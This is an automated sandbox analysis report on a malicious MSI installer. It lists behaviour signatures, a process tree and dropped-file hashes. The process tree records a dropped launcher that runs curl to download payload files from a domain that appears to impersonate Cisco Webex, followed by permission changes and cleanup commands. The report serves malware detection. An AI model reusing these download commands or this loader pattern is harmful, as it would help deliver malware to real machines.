Analysis

  • max time kernel
    105s
  • max time network
    128s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250502-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250502-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/05/2025, 20:06

General

  • Target
    Installer_version12.02.00.msi
  • Size 9.6MB
  • Sample250520-yvkthsbr2s
  • SHA256 8f3fc820def7b492876b38d021c904aafc60c379e8ad58cac81eee05bf41ee77
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Modifies file permissions 1 TTPs 2 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Windows directory 9 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 6 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 49 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\Installer_version12.02.00.msi
    1⤵
    • Blocklisted process makes network request
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:3416
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3884
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1220
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 0558CD301DD615A14D6C5D78C522DC67
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1828
      • C:\Windows\SysWOW64\ICACLS.EXE
        "C:\Windows\system32\ICACLS.EXE" "C:\Users\Admin\AppData\Local\Temp\MW-65968a4a-1608-4d18-b3f3-4feeb0ccec2d\." /SETINTEGRITYLEVEL (CI)(OI)HIGH
        3⤵
        • Modifies file permissions
        • System Location Discovery: System Language Discovery
        PID:4588
      • C:\Windows\SysWOW64\EXPAND.EXE
        "C:\Windows\system32\EXPAND.EXE" -R files.cab -F:* files
        3⤵
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:264
      • C:\Users\Admin\AppData\Local\Temp\MW-65968a4a-1608-4d18-b3f3-4feeb0ccec2d\files\game_launcher.exe
        "C:\Users\Admin\AppData\Local\Temp\MW-65968a4a-1608-4d18-b3f3-4feeb0ccec2d\files\game_launcher.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4336
        • C:\Users\Admin\AppData\Local\Temp\MW-65968a4a-1608-4d18-b3f3-4feeb0ccec2d\files\curl.exe
          --url https://cisco-webexxapp.xyz/service/download/data_0.bin --output data_0.bin --fail
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:4236
        • C:\Users\Admin\AppData\Local\Temp\MW-65968a4a-1608-4d18-b3f3-4feeb0ccec2d\files\curl.exe
          --url https://cisco-webexxapp.xyz/service/download/data_1.bin --output data_1.bin --fail
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:1176
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c rd /s /q "C:\Users\Admin\AppData\Local\Temp\MW-65968a4a-1608-4d18-b3f3-4feeb0ccec2d\files"
        3⤵
        • System Location Discovery: System Language Discovery
        PID:1448
      • C:\Windows\SysWOW64\ICACLS.EXE
        "C:\Windows\system32\ICACLS.EXE" "C:\Users\Admin\AppData\Local\Temp\MW-65968a4a-1608-4d18-b3f3-4feeb0ccec2d\." /SETINTEGRITYLEVEL (CI)(OI)LOW
        3⤵
        • Modifies file permissions
        • System Location Discovery: System Language Discovery
        PID:1724
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious use of AdjustPrivilegeToken
    PID:5036

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        357F04AD41BCF5FE18FCB69F60C6680F_2F86A940DF01783DCA22933321FF3686

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\357F04AD41BCF5FE18FCB69F60C6680F_2F86A940DF01783DCA22933321FF3686
        • Size 1KB
        • SHA256 72bf6550b15b6ce15d94883226e89f14b284dc5efe794652355488ed0d46c500
        • MD5 SHA1 SHA512

        9CB4373A4252DE8D2212929836304EC5_1AB74AA2E3A56E1B8AD8D3FEC287554E

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\9CB4373A4252DE8D2212929836304EC5_1AB74AA2E3A56E1B8AD8D3FEC287554E
        • Size 1KB
        • SHA256 20aeafd98e5ca62a68a30c871198b506cc21d103fad144f141e81f377ec48d5a
        • MD5 SHA1 SHA512

        357F04AD41BCF5FE18FCB69F60C6680F_2F86A940DF01783DCA22933321FF3686

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\357F04AD41BCF5FE18FCB69F60C6680F_2F86A940DF01783DCA22933321FF3686
        • Size 536B
        • SHA256 159792a45002c5aa6b14c48ff58a010410dd3bc60d8985a7a4a3d230ab0fd61c
        • MD5 SHA1 SHA512

        9CB4373A4252DE8D2212929836304EC5_1AB74AA2E3A56E1B8AD8D3FEC287554E

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\9CB4373A4252DE8D2212929836304EC5_1AB74AA2E3A56E1B8AD8D3FEC287554E
        • Size 536B
        • SHA256 e6863bd5fa25319b576ab3ae6b11c418ae2d977d63d3541a24b335cca81e9c21
        • MD5 SHA1 SHA512

        files.cab

        • Path C:\Users\Admin\AppData\Local\Temp\MW-65968a4a-1608-4d18-b3f3-4feeb0ccec2d\files.cab
        • Size 9.3MB
        • SHA256 6e224f9f5301d7e85956bc8354b827720753760fb179a5f954dd96d4209ab375
        • MD5 SHA1 SHA512 SSDEEP

        curl.exe

        • Path C:\Users\Admin\AppData\Local\Temp\MW-65968a4a-1608-4d18-b3f3-4feeb0ccec2d\files\curl.exe
        • Size 3.3MB
        • SHA256 8b8b6aabafb60a7ad1b1a69b5d6f00d74c3760a5e95ec6bee893164a8b53a9a6
        • MD5 SHA1 SHA512 SSDEEP

        game_launcher.exe

        • Path C:\Users\Admin\AppData\Local\Temp\MW-65968a4a-1608-4d18-b3f3-4feeb0ccec2d\files\game_launcher.exe
        • Size 7.3MB
        • SHA256 bd1657220463787780ba1d2c6119d57536d4d6aaf9ee97c1613ccc931d8c755a
        • MD5 SHA1 SHA512 SSDEEP

        libcrypto-1_1.dll

        • Path C:\Users\Admin\AppData\Local\Temp\MW-65968a4a-1608-4d18-b3f3-4feeb0ccec2d\files\libcrypto-1_1.dll
        • Size 2.4MB
        • SHA256 a8529df0f4e5046492f7bfa77be73754c60d9f94325f94f1dc703dedd3f383ce
        • MD5 SHA1 SHA512 SSDEEP

        libcurl.dll

        • Path C:\Users\Admin\AppData\Local\Temp\MW-65968a4a-1608-4d18-b3f3-4feeb0ccec2d\files\libcurl.dll
        • Size 2.9MB
        • SHA256 9f1bd2c15825b2ef194e57375443d79cc45535501208b550538713d7ace4ae00
        • MD5 SHA1 SHA512 SSDEEP

        libssl-1_1.dll

        • Path C:\Users\Admin\AppData\Local\Temp\MW-65968a4a-1608-4d18-b3f3-4feeb0ccec2d\files\libssl-1_1.dll
        • Size 114KB
        • SHA256 1c9b6ae3776c173b46625f17b79c0edb7dc278dbcb3fea5ae65eb7f48549af8e
        • MD5 SHA1 SHA512 SSDEEP

        msvcr100.dll

        • Path C:\Users\Admin\AppData\Local\Temp\MW-65968a4a-1608-4d18-b3f3-4feeb0ccec2d\files\msvcr100.dll
        • Size 755KB
        • SHA256 60c06e0fa4449314da3a0a87c1a9d9577df99226f943637e06f61188e5862efa
        • MD5 SHA1 SHA512 SSDEEP

        python38.dll

        • Path C:\Users\Admin\AppData\Local\Temp\MW-65968a4a-1608-4d18-b3f3-4feeb0ccec2d\files\python38.dll
        • Size 6.6MB
        • SHA256 95b4352237e78643dc8852d04b2feab86adfd503f9b6014853621c52c6897025
        • MD5 SHA1 SHA512 SSDEEP

        sqlite3.DLL

        • Path C:\Users\Admin\AppData\Local\Temp\MW-65968a4a-1608-4d18-b3f3-4feeb0ccec2d\files\sqlite3.DLL
        • Size 518KB
        • SHA256 4307c63ec1a5991a954025fda93a08660b7905884c3de338dcd9e72498e0ec97
        • MD5 SHA1 SHA512 SSDEEP

        vcruntime140.dll

        • Path C:\Users\Admin\AppData\Local\Temp\MW-65968a4a-1608-4d18-b3f3-4feeb0ccec2d\files\vcruntime140.dll
        • Size 78KB
        • SHA256 8934aaeb65b6e6d253dfe72dea5d65856bd871e989d5d3a2a35edfe867bb4825
        • MD5 SHA1 SHA512 SSDEEP

        msiwrapper.ini

        • Path C:\Users\Admin\AppData\Local\Temp\MW-65968a4a-1608-4d18-b3f3-4feeb0ccec2d\msiwrapper.ini
        • Size 1KB
        • SHA256 1ea0e9334172eb58a88fdffe1cb47914faff418a66e14dd09c11d686dd238a57
        • MD5 SHA1 SHA512

        msiwrapper.ini

        • Path C:\Users\Admin\AppData\Local\Temp\MW-65968a4a-1608-4d18-b3f3-4feeb0ccec2d\msiwrapper.ini
        • Size 1KB
        • SHA256 b2138886a99cc79a8047316a9593fdeb0a33d5e7e8bf08f520cbbd605e17a6a6
        • MD5 SHA1 SHA512

        MSIC832.tmp

        • Path C:\Windows\Installer\MSIC832.tmp
        • Size 208KB
        • SHA256 fd622cf73ea951a6de631063aba856487d77745dd1500adca61902b8dde56fe1
        • MD5 SHA1 SHA512 SSDEEP

        metadata-2

        • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
        • Size 24.1MB
        • SHA256 1996290d23e5746bfb448fef738a613a45c668b7e98dec584d3e7d6f87eba616
        • MD5 SHA1 SHA512 SSDEEP

        {b3f7b3f8-7ec8-42d9-b181-6315735db6db}_OnDiskSnapshotProp

        • Path \??\Volume{2ab8a32f-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{b3f7b3f8-7ec8-42d9-b181-6315735db6db}_OnDiskSnapshotProp
        • Size 6KB
        • SHA256 87d95abe01086e18ed1d34ac8948f4ddab7ddfaa848296aa27b4598d4acb3ca2
        • MD5 SHA1 SHA512 SSDEEP